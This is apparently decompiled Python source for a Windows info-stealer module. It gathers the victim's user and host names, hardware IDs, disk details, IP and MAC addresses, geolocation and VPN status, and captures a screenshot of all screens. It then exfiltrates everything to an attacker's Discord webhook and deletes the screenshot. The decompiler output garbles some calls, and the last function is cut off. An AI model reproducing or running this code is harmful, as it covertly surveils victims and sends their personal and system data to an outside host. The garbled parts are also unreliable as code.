# Source Generated with Decompyle++
# File: systeminfo.pyc (Python 3.10)

import ctypes
import os
import re
import subprocess
import uuid
import psutil
import requests
import wmi
from discord import Embed, File, SyncWebhook
from PIL import ImageGrab
import time

class SystemInfo:
    
    def __init__(self = None, webhook = None):
        webhook = SyncWebhook.from_url(webhook)
        embed = Embed('System Information', 0, **('title', 'color'))
        embed.add_field(self.user_data()[0], self.user_data()[1], self.user_data()[2], **('name', 'value', 'inline'))
        embed.add_field(self.system_data()[0], self.system_data()[1], self.system_data()[2], **('name', 'value', 'inline'))
        embed.add_field(self.disk_data()[0], self.disk_data()[1], self.disk_data()[2], **('name', 'value', 'inline'))
        embed.add_field(self.network_data()[0], self.network_data()[1], self.network_data()[2], **('name', 'value', 'inline'))
        embed.add_field(self.wifi_data()[0], self.wifi_data()[1], self.wifi_data()[2], **('name', 'value', 'inline'))
        image = ImageGrab.grab(None, False, True, None, **('bbox', 'include_layered_windows', 'all_screens', 'xdisplay'))
        image.save('screenshot.png')
        embed.set_image('attachment://screenshot.png', **('url',))
        
        try:
            webhook.send(embed, File('.\\screenshot.png', 'screenshot.png', **('filename',)), '3666 Info PC', 'https://cdn.discordapp.com/attachments/1040385802821185546/1041796452604719124/Picsart_22-11-14_07-42-50-867.png', **('embed', 'file', 'username', 'avatar_url'))
        finally:
            pass
        if os.path.exists('screenshot.png'):
            os.remove('screenshot.png')
            return None
        return None


    
    def user_data(self = None):
        
        def display_name():
            GetUserNameEx = ctypes.windll.secur32.GetUserNameExW
            NameDisplay = 3
            size = ctypes.pointer(ctypes.c_ulong(0))
            GetUserNameEx(NameDisplay, None, size)
            nameBuffer = ctypes.create_unicode_buffer(size.contents.value)
            GetUserNameEx(NameDisplay, nameBuffer, size)
            return nameBuffer.value

        display_name = display_name()
        hostname = os.getenv('COMPUTERNAME')
        username = os.getenv('USERNAME')
        return ('<a:BlubRainbow:1028710631534243900> User', f'''```Display Name: {display_name}\nHostname: {hostname}\nUsername: {username}```''', False)

    
    def system_data(self = None):
        
        def get_hwid():
            hwid = subprocess.check_output('C:\\Windows\\System32\\wbem\\WMIC.exe csproduct get uuid', True, subprocess.PIPE, subprocess.PIPE, **('shell', 'stdin', 'stderr')).decode('utf-8').split('\n')[1].strip()
            return hwid

        cpu = wmi.WMI().Win32_Processor()[0].Name
        gpu = wmi.WMI().Win32_VideoController()[0].Name
        ram = round(float(wmi.WMI().Win32_OperatingSystem()[0].TotalVisibleMemorySize) / 1048576, 0)
        hwid = get_hwid()
        return ('<:ipa:1038595676084391999> System', f'''```CPU: {cpu}\nGPU: {gpu}\nRAM: {ram}\nHWID: {hwid}```''', False)

    
    def disk_data(self = None):
        disk = '{:<9} {:<9} {:<9} {:<9} '.format('Drive', 'Free', 'Total', 'Use%') + '\n'
        for part in psutil.disk_partitions(False, **('all',)):
            if os.name == 'nt':
                if 'cdrom' in part.opts or part.fstype == '':
                    continue
            usage = psutil.disk_usage(part.mountpoint)
            disk += '{:<9} {:<9} {:<9} {:<9} '.format(part.device, str(usage.free // 1073741824) + 'GB', str(usage.total // 1073741824) + 'GB', str(usage.percent) + '%') + '\n'
        return ('<:ipa:1038595676084391999> Disk', f'''```{disk}```''', False)

    
    def network_data(self = None):
        
        def geolocation(ip = None):
            url = f'''http://ip-api.com/json/{ip}'''
            response = requests.get(url, {
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36' }, **('headers',))
            data = response.json()
            return (data['country'], data['regionName'], data['city'], data['zip'], data['as'])

        
        def proxy_check(ip = None):
            url = f'''https://vpnapi.io/api/{ip}'''
            response = requests.get(url, {
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36' }, **('headers',))
            data = response.json()
            security = data['security']
            (proxy, vpn, tor) = [
                security['proxy'],
                security['vpn'],
                security['tor']]
            if proxy and vpn or tor:
                return True

        ip = requests.get('https://api.ipify.org').text
        mac = ':'.join(re.findall('..', '%012x' % uuid.getnode()))
        (country, region, city, zip_, as_) = geolocation(ip)
        proxy = proxy_check(ip)
        return (':satellite: Network', '```IP Address: {ip}\nMAC Address: {mac}\nCountry: {country}\nRegion: {region}\nCity: {city} ({zip_})\nISP: {as_}\nVPN/Proxy/Tor: {proxy}```'.format(ip, mac, country, region, city, zip_, as_, proxy, **('ip', 'mac', 'country', 'region', 'city', 'zip_', 'as_', 'proxy')), False)

    
    def wifi_data(self = None):
        networks = []
        out = ''
    # WARNING: Decompyle incomplete


